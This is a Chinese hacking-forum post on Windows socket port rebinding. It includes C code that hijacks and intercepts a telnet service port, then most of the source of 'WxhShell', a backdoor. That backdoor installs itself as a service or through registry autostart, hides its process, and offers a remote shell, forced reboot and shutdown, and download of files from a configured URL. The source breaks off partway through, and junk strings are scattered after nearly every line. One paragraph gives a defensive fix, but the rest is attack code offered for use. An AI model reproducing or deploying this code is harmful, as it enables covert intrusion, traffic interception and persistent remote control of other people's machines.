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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \DeZY97p%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vJl4.nk  
gbXzD`WQ  
  saddr.sin_family = AF_INET; BCsW03sQ  
F'pD_d9]e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _$i9Tk  
EBK\.[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zVl(?b&CF  
u^!-Z)W  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 dYf Vox;  
M~ynJ@q  
  这意味着什么?意味着可以进行如下的攻击: z4UeUVfZ}  
JfKl=vg  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D' uzH|z8  
s x`C<c~u  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) WXO@oZ!  
qI8{JcFx:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 xCoQ>.4p  
]%>;R^HY  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -_b}b)2iYN  
42Kzdo|}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 BO/2kL8*  
DX4 95<6*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %z.u % %  
<Ni]\-*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }{j[  
47ir QK*  
  #include eR8h4M~O  
  #include MFE~bU(h  
  #include )7c^@I;7  
  #include    zzq/%jki  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?w3f;v  
  int main() JK[7&C-O  
  { t?YGGu^  
  WORD wVersionRequested; olK%TM[Y  
  DWORD ret; /oe="/y6  
  WSADATA wsaData; b*?="%eE(  
  BOOL val; 1eiH%{w  
  SOCKADDR_IN saddr; i]9SCO  
  SOCKADDR_IN scaddr; Hr96sN.R   
  int err; }v=q6C#Q>  
  SOCKET s; el+euOV  
  SOCKET sc; :tzCuK?e  
  int caddsize; XXxX;xz$  
  HANDLE mt; 9-}&znLZe  
  DWORD tid;   /PHktSG  
  wVersionRequested = MAKEWORD( 2, 2 ); s- g[B(  
  err = WSAStartup( wVersionRequested, &wsaData ); W!GgtQw{F  
  if ( err != 0 ) { ]%shs  
  printf("error!WSAStartup failed!\n"); s {$c8  
  return -1; iFS ?nZ~.  
  } o*5|W9  
  saddr.sin_family = AF_INET; 0r:8ni%cL  
   Bv3?WW  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 NpH)K:$#%  
. +.Y`0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N:"E%:wSbi  
  saddr.sin_port = htons(23); Yx XDRb\kW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 78}iNGf  
  { 7<-D_$SrU  
  printf("error!socket failed!\n"); 3smcCQA%  
  return -1; Z#"6&kv  
  } Ao?H.=#y  
  val = TRUE; YBHmd  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K _O3DcQ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :R<,J=+$u  
  { <<4G GO  
  printf("error!setsockopt failed!\n"); 8c]\4iau  
  return -1; >UR-37g{p  
  } "qQU ^FW  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; b>I -4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $~zqt%}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ) ,*&rd!  
A+;]# 1y(D  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Gh42qar`  
  { O{SU,"!y  
  ret=GetLastError(); 63-`3R?;  
  printf("error!bind failed!\n"); ^N0hc!$  
  return -1; WpSdukXY{  
  } ]!h%Jlu  
  listen(s,2); 3lA<{m;V  
  while(1) k{"~G#GwP  
  { %# J8cB  
  caddsize = sizeof(scaddr); RQ}x7< /{  
  //接受连接请求 8oN4!#:  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); AVyo)=&  
  if(sc!=INVALID_SOCKET) BC!l)2  
  { f85j?Jm  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1`B5pcuI  
  if(mt==NULL) z\fD}`^8  
  { |MTgKEsn  
  printf("Thread Creat Failed!\n"); M*aE)D '  
  break; .^P^lQT]>  
  } H-7*)D  
  } #r:J,D6*  
  CloseHandle(mt); (VwS 9:`  
  } /EKfL\3  
  closesocket(s); _RY<-B   
  WSACleanup(); LdVGFlcXi  
  return 0; KJcdX9x  
  }   B'atwgI0  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9r\8  !R  
  { P#rwYPww\  
  SOCKET ss = (SOCKET)lpParam; q0DoR@  
  SOCKET sc; )p12SGR5  
  unsigned char buf[4096]; =NyzX&H6  
  SOCKADDR_IN saddr; B]Yj"LM)  
  long num; >:Q:+R;3o  
  DWORD val; s( 2=E|  
  DWORD ret; <fs2;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 klJDYFX=HK  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [9aaHf@'  
  saddr.sin_family = AF_INET; EzzzH(!j  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Jg;Hg[  
  saddr.sin_port = htons(23); OkA-=M)RI:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +zz9u?2C`  
  { >JCSOI  
  printf("error!socket failed!\n"); Odw SNG  
  return -1; @RbAC*Y]g  
  } ~~ )&? \N  
  val = 100; 988aF/c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `d3S0N6@  
  { g<}EL[9  
  ret = GetLastError(); P{QRmEE  
  return -1; CcAsJX~_  
  }  v+G}n\F  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]WyV~Dzz<  
  { b^hCm`2w*  
  ret = GetLastError(); }[ux4cd8Y  
  return -1; ?vf\_R'M  
  } as~.XWa  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8*6J\FE<p  
  { $`_(%tl  
  printf("error!socket connect failed!\n"); VJHHC.Kz  
  closesocket(sc); 7b@EvW6X}  
  closesocket(ss); 3S'V>:  
  return -1; R%3H"FU9w  
  } |W*f 6F3  
  while(1) vlzjALy  
  { De:w(Rm  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8a. |CgI#h  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T7cT4PAW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \mWXr*;  
  num = recv(ss,buf,4096,0); B;W=61d  
  if(num>0) e/@udau  
  send(sc,buf,num,0); b39;Sv|#  
  else if(num==0) >k_Z]J6Pd  
  break; !v`q%JW(  
  num = recv(sc,buf,4096,0);  s.GTY@t  
  if(num>0)  w8FZXL  
  send(ss,buf,num,0); HzbO#)Id-I  
  else if(num==0) C. 8>  
  break; Ds L]o  
  } |nU:  
  closesocket(ss); GXJ3E"_.  
  closesocket(sc); ,ISq7*%F  
  return 0 ; B;1wnKdj  
  } L[TL~@T   
f()^^+  
<w{W1*R9  
========================================================== yFJ(b%7  
[k."R@?  
下边附上一个代码,,WXhSHELL t*.v!   
vc^PXjX  
========================================================== 9Cf^Q3)5o  
kQVl8KS  
#include "stdafx.h" 1{";u"q  
<!DOCvd  
#include <stdio.h> ax7 M  
#include <string.h> Z.<1,EKi=  
#include <windows.h> z^B!-FcIz>  
#include <winsock2.h> TvI}yaCu/x  
#include <winsvc.h> )](8 {}wo  
#include <urlmon.h> c%uhQ 62  
r=@h}TKv{I  
#pragma comment (lib, "Ws2_32.lib") 9iS3.LCfX  
#pragma comment (lib, "urlmon.lib")  pLyX9C  
unD8h=Z2  
#define MAX_USER   100 // 最大客户端连接数 o/=K:5  
#define BUF_SOCK   200 // sock buffer $I1p"6  
#define KEY_BUFF   255 // 输入 buffer fCEd :Kr  
_}JygOew  
#define REBOOT     0   // 重启 ?{{E/J:%  
#define SHUTDOWN   1   // 关机 .iew5.eB+  
gfr``z=>O  
#define DEF_PORT   5000 // 监听端口 7zQD.+&L  
%@pTEhpF  
#define REG_LEN     16   // 注册表键长度 g08=D$P  
#define SVC_LEN     80   // NT服务名长度 k"Sw,"e>+  
J>Zd75;U  
// 从dll定义API y)(SS8JR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A9tQb:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \N"K^kR4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rZpc"<U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YrZAy5\  
hk,Q=};  
// wxhshell配置信息 ?cg+RNI  
struct WSCFG { dWm[#,Q?  
  int ws_port;         // 监听端口 !4oYQB  
  char ws_passstr[REG_LEN]; // 口令 Pu axS  
  int ws_autoins;       // 安装标记, 1=yes 0=no dHOz;4_  
  char ws_regname[REG_LEN]; // 注册表键名 eh)J'G]G  
  char ws_svcname[REG_LEN]; // 服务名 GSpS8wWD }  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U*a!Gn7l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /9GqEQsfM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8,kbGlSD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -,4_ &V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (<%i8xu 2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;\#u19  
k?xtZ,n{s  
}; 2d1'!B zDA  
n\cP17dr  
// default Wxhshell configuration W%1fm/ G0  
struct WSCFG wscfg={DEF_PORT, -@J;FjrXmP  
    "xuhuanlingzhe", IOmIkx&`GP  
    1, \t!+]v8f8  
    "Wxhshell", u $sX6  
    "Wxhshell", wy Le3  
            "WxhShell Service", =M(\R8  
    "Wrsky Windows CmdShell Service", d3n TJX  
    "Please Input Your Password: ", z,] fR  
  1, possM'vC  
  "http://www.wrsky.com/wxhshell.exe", \sRRLDj%  
  "Wxhshell.exe" #Q$4EQB  
    }; PK+][.6H  
~CM{?{z;  
// 消息定义模块 h+*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `_v-Y`Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XriVHb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cAktSoF  
char *msg_ws_ext="\n\rExit."; ^kXDEKm  
char *msg_ws_end="\n\rQuit."; 0kCUz  
char *msg_ws_boot="\n\rReboot..."; _k j51=  
char *msg_ws_poff="\n\rShutdown..."; LI nN-b#  
char *msg_ws_down="\n\rSave to "; vys*=48g  
<!w-op2@ir  
char *msg_ws_err="\n\rErr!"; Dri1A%  
char *msg_ws_ok="\n\rOK!"; txL5' mK  
oY0*T9vv+  
char ExeFile[MAX_PATH];  |u$AzI  
int nUser = 0; -k<.Q=]<t  
HANDLE handles[MAX_USER]; @*2FG\c<  
int OsIsNt; =6+BBD  
G: @gO2(D  
SERVICE_STATUS       serviceStatus; s V77WF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XhIgzaGVu  
47icy-@kg  
// 函数声明 0kiW629o  
int Install(void); Rw. Uz&  
int Uninstall(void); L)w& f  
int DownloadFile(char *sURL, SOCKET wsh); 2"i<--Y  
int Boot(int flag); a7d782~  
void HideProc(void); nFB;!r  
int GetOsVer(void); -D(Ubk Pw  
int Wxhshell(SOCKET wsl); !w/~dy  
void TalkWithClient(void *cs); 2{#quXN9  
int CmdShell(SOCKET sock); Gwvs~jN  
int StartFromService(void); 2?}(  
int StartWxhshell(LPSTR lpCmdLine); +T4<}+n  
hU4~`g p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ' bT9AV%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8KAyif@1::  
atN`w=6A`  
// 数据结构和表定义 Nq9(O#}  
SERVICE_TABLE_ENTRY DispatchTable[] = N[42al  
{ -}N{'S,Bp  
{wscfg.ws_svcname, NTServiceMain}, HV?awc  
{NULL, NULL} jf$t  
}; ".@SQgyb0  
g`&pQ%|=  
// 自我安装 :V_$?S  
int Install(void) goHr# @  
{ T+~~w'v0  
  char svExeFile[MAX_PATH]; 0[hl&7 Ab@  
  HKEY key; ]XP[tLY Y  
  strcpy(svExeFile,ExeFile); n" MFC  
}'Z(J)Bg  
// 如果是win9x系统,修改注册表设为自启动 UPgZj\t%{  
if(!OsIsNt) { G A7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VvltVYOZA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r":<1+07  
  RegCloseKey(key); GUcuD^Fe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |Y])|`_'G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2cmqtlW"  
  RegCloseKey(key); [&zP$i&  
  return 0; APLu?wy7s5  
    } +ATN2 o  
  } .:lzT"QXI  
} D<rjxP  
else { ]&9f:5',  
Z v~ A9bB  
// 如果是NT以上系统,安装为系统服务 q,*IR*B:a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v =u|D$  
if (schSCManager!=0) C'=C^X%  
{ ;pULJ}rDb  
  SC_HANDLE schService = CreateService O}KT>84M  
  ( "`3H0il;<  
  schSCManager, W"2\vo)  
  wscfg.ws_svcname, ),~Ca'TU  
  wscfg.ws_svcdisp, z.jGVF4  
  SERVICE_ALL_ACCESS, MT V'!Zxs  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /`'50C j  
  SERVICE_AUTO_START, fO:*85 %}7  
  SERVICE_ERROR_NORMAL, zY#U]Is  
  svExeFile, ^QnVYTM  
  NULL, {2q   
  NULL, F.\]Hqq  
  NULL, ++kiCoC  
  NULL, ,)QmQ ^/  
  NULL PDir?'  
  ); / _cOg? o  
  if (schService!=0) 9:kb0oBa?l  
  { 8F@6^9C  
  CloseServiceHandle(schService); (Ux%7H_d  
  CloseServiceHandle(schSCManager); $ &^ ,(z9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yx}:Sgv%  
  strcat(svExeFile,wscfg.ws_svcname); `V?{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >Ek `PVPD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^%<v| Y(X  
  RegCloseKey(key); > *_?^F_  
  return 0; _>aesp%  
    } )pvZM?  
  } $GPA6  
  CloseServiceHandle(schSCManager); j&&^PH9ZY  
} 9j,zaGD0  
} 7"QcvV@p  
+(P;4ZOmB  
return 1; G_o/ lIz"  
} p,4z;.s$  
@.g4?c  
// 自我卸载 SOUA,4  
int Uninstall(void) =-:o?&64  
{ E@@quK  
  HKEY key; od|pI5St  
5fLCmLM`  
if(!OsIsNt) { fe Q%L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cKxJeM07  
  RegDeleteValue(key,wscfg.ws_regname); -,i1T(p1  
  RegCloseKey(key); ;0BCM(>Wo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #A))#sT'R  
  RegDeleteValue(key,wscfg.ws_regname); Og&2,`Jb  
  RegCloseKey(key); OIoAqt  
  return 0; /qp`xJ  
  } $rlIJwqn  
} X;0EgIqh3  
} f{)*"  
else { ML'R[~|  
6-JnT_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q7SS<'(  
if (schSCManager!=0) 2 Sr'B;`p  
{ S\ li<xl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Dho~6K }"  
  if (schService!=0) &/ zs Ix+  
  { L3W ^ip4  
  if(DeleteService(schService)!=0) { AI)9E=D%  
  CloseServiceHandle(schService); uUJ2d84tV  
  CloseServiceHandle(schSCManager); Yw{](qG7e`  
  return 0; w5[POo' 5  
  } w?/,LV  
  CloseServiceHandle(schService);  r>G$u  
  } %_ z]iz4  
  CloseServiceHandle(schSCManager); fkI<RgM  
} Zkz:h7GUG-  
} @&~BGh  
mDq0 1fU4  
return 1; {66vdAu&h<  
} Z$pR_dazU  
C qxP@  
// 从指定url下载文件 LCdc7  
int DownloadFile(char *sURL, SOCKET wsh) *(HH71Y  
{ c]n4vhUa5  
  HRESULT hr; XRz.R/  
char seps[]= "/"; <h;P<4JX  
char *token;  %"z W]  
char *file; J7$=f~$  
char myURL[MAX_PATH]; G%>[I6G  
char myFILE[MAX_PATH]; x7/2e{p uu  
p\,lbrv  
strcpy(myURL,sURL); Bq _<v)M*  
  token=strtok(myURL,seps); *$s)p>  
  while(token!=NULL) eHjR/MMr_  
  { [&39Yv.k,7  
    file=token; q3I,3?_  
  token=strtok(NULL,seps); sF|lhLi  
  } F6 UOo.L)I  
!",@,$  
GetCurrentDirectory(MAX_PATH,myFILE);  CZuxH  
strcat(myFILE, "\\"); YGNX+6Lz  
strcat(myFILE, file); zxj!ihs<  
  send(wsh,myFILE,strlen(myFILE),0); 2AlLcfAW  
send(wsh,"...",3,0); cAL&>T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m\VJ=  
  if(hr==S_OK) 3O]e  
return 0; 6znm?s@~  
else bc 0|tJc  
return 1; P@Qo2zTh%  
F-ZD6l9O  
} O ,DX%wk,  
mtF&Z\ag  
// 系统电源模块 z1"UF4x*  
int Boot(int flag) 8C YJR/  
{ 4o|~KX8Qz  
  HANDLE hToken; $4L=Dg  
  TOKEN_PRIVILEGES tkp; Q;Oc# u  
8ZahpB  
  if(OsIsNt) { {1qEN_ERx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YV2^eGr.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H)4Rs~;{'g  
    tkp.PrivilegeCount = 1; L72GF5+!!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kQ:2@SOm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }??q{B@v  
if(flag==REBOOT) { ~L1N1Z)Kk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p@^2 .O+  
  return 0; Y /w vn8~C  
} jRBx7|ON  
else { (* 2"dd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x~(Ul\EX  
  return 0; 8m 9G^s`[  
} IMrB!bo r  
  } 'fgDe  
  else { ]f-e/8$`@  
if(flag==REBOOT) { } K Ou  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,CvU#ab8$  
  return 0; 5Q^~Z},  
} Q647a}  
else { }x8fXdd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PzF)Vg  
  return 0; [Z[)hUXE?  
} >,9t<p=Q  
} 5G2u(hx  
q`{.2yV  
return 1; UjfB+=7I{L  
} sS0psw1  
X`vDhfh>N  
// win9x进程隐藏模块 )45,~+XX  
void HideProc(void) EZ=M^0=Hpf  
{ ?e ~*,6  
O35f5Kz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :3G9YjzC}  
  if ( hKernel != NULL ) G/D{K$=t~  
  { \myc n/e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4@VX%5uy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kz??""G7/  
    FreeLibrary(hKernel); bb<Vh2b>R  
  } T<ua0;7  
y"]> Rr  
return; U%#=d@?  
} (z.Vwl5  
G9gvOEI/  
// 获取操作系统版本 \2LCpN  
int GetOsVer(void) 1DBzD%@Oz  
{ !K@y B)9  
  OSVERSIONINFO winfo; (g;Ff`P Pc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); InDR\=o  
  GetVersionEx(&winfo); XrvrN^'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LD5'4,%-  
  return 1; <.AIV p  
  else Zdak))7  
  return 0; d#W[<,  
} !P;qc  
6z(_^CY  
// 客户端句柄模块 \jfW$TtZm  
int Wxhshell(SOCKET wsl) FJD*A`a  
{ ,CdI.kV>o2  
  SOCKET wsh; zZy>XHR H  
  struct sockaddr_in client; M\]E;C'"U  
  DWORD myID; DnTM#i:  
[C&c;YNp  
  while(nUser<MAX_USER) I/(`<s p  
{ 81KtK[?b  
  int nSize=sizeof(client); ~7k b4[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n[clYi@e  
  if(wsh==INVALID_SOCKET) return 1; Fl O%O D  
?oF@q :W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4x3`dvfp/  
if(handles[nUser]==0) Z`f _e?  
  closesocket(wsh); ^hgpeu   
else 9hq7:  
  nUser++; 3)7'dM  
  } 1n,JynJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6-^+btl)#  
 "3v%|  
  return 0; d,>l;l  
} V2bod=&Lc  
~:0h o  
// 关闭 socket .=NK^  
void CloseIt(SOCKET wsh) I 7TMv.  
{ ~!uK;hI  
closesocket(wsh); fpqKa r  
nUser--; D/)xe:  
ExitThread(0); _Ih~'Y Fd  
} abK/!m[q  
B^OhL!*tI  
// 客户端请求句柄 fGxa~Unx  
void TalkWithClient(void *cs) WT0U)x( m5  
{ b :+ X3  
B>'\g O\2  
  SOCKET wsh=(SOCKET)cs; C2VZE~U+  
  char pwd[SVC_LEN]; 5yQgGd)  
  char cmd[KEY_BUFF]; M"J $c42  
char chr[1]; bySw#h_  
int i,j; <;Xj4 J  
rUuM__;d  
  while (nUser < MAX_USER) { 0lEIj/u  
3j3AI 7c  
if(wscfg.ws_passstr) { 9K&b1O@Aj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yb]a p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O[m+5+  
  //ZeroMemory(pwd,KEY_BUFF); +Y \#'KrA  
      i=0; l>:?U  
  while(i<SVC_LEN) { "kL5HD]TC  
+Gjy%JFp  
  // 设置超时 eC3ZK"oJ  
  fd_set FdRead; }b{N[  
  struct timeval TimeOut; 1\3n   
  FD_ZERO(&FdRead); 7+z%O3k'I  
  FD_SET(wsh,&FdRead); +F@9AO>LF  
  TimeOut.tv_sec=8; $DQMN  
  TimeOut.tv_usec=0;  g6~uf4;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h;Bol  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :xA'X+d/'  
SAqX[c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6dNo!$C^  
  pwd=chr[0]; ;+5eE`]a/L  
  if(chr[0]==0xd || chr[0]==0xa) { 7[K$os5al  
  pwd=0; %8v?dB;>x`  
  break; ,,6e }o6  
  } /1^%32c  
  i++; @-W)(9kZ|  
    } Aw5yvQ>]e  
a([cuh.  
  // 如果是非法用户,关闭 socket ruA!+@or  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S4\T (  
} {>~|xW  
x;C\G`9N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ge E7<"m%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '91Ak,cWB  
!]"T`^5,Y  
while(1) { _[.`QW~  
eQNYfWR  
  ZeroMemory(cmd,KEY_BUFF); }6o` in>M  
rSa 3u*xB  
      // 自动支持客户端 telnet标准   vb$k/8JK  
  j=0; N (43+  
  while(j<KEY_BUFF) { @NNN&%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u6D>^qF}@'  
  cmd[j]=chr[0]; VbZZ=q=Kd  
  if(chr[0]==0xa || chr[0]==0xd) { Q!@" Y/  
  cmd[j]=0; =XqmFr;h  
  break; ('>!dXA$  
  } MN#\P1  
  j++; DSQ2z3s2  
    } ,Z3.Le"  
"d{ |_Cf  
  // 下载文件 C^ uXJ~8  
  if(strstr(cmd,"http://")) { [aIQ/&Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 05w_/l+  
  if(DownloadFile(cmd,wsh)) p^^<BjkQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R@ihN?k  
  else mH;\z;lyK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p! Hpq W  
  } tQ*5[F,fm  
  else { QupCr/Hs  
zEa3a  
    switch(cmd[0]) { `~gyq>Ik2  
  ] @IzJz"R  
  // 帮助 \[Q,>{^  
  case '?': { WJl&Vyl2FL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pvcD 61,  
    break; &t`l,]PQ=6  
  } lh .p`^v  
  // 安装 2r\ f!m'  
  case 'i': { %kyvt t  
    if(Install()) Es)Kw3^a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KecRjon~  
    else aLG6yVtu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %\CsP!  
    break; P0|V1,)  
    } \QQw1c+  
  // 卸载 h19c*,0z!  
  case 'r': { Sl{]Z,  
    if(Uninstall()) 0<fN<iR`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); meE&, {  
    else 3!#d&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6=iz@C7r  
    break; Z+E@B>D7A^  
    } YQ;?N66  
  // 显示 wxhshell 所在路径 wOn.m  
  case 'p': { | tyVC=${  
    char svExeFile[MAX_PATH]; (Y:5u}*Y  
    strcpy(svExeFile,"\n\r"); cbNrto9  
      strcat(svExeFile,ExeFile); 6 fL=2a  
        send(wsh,svExeFile,strlen(svExeFile),0); fyh9U_M);w  
    break; |&3[YZY  
    } a! ]'S4JS  
  // 重启 :<!a.%=  
  case 'b': { +H8]5~',L%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8L^5bJ  
    if(Boot(REBOOT)) (xy/:i".V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &KT*rL  
    else { ,d$V-~2,  
    closesocket(wsh); F0qGkMs|f  
    ExitThread(0); r 1nl!  
    } ;3 O0O  
    break; 1o V\QK&  
    } 7"FsW3an  
  // 关机 x}{/) ?vC  
  case 'd': { X=8y$Yy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }f/ 1  
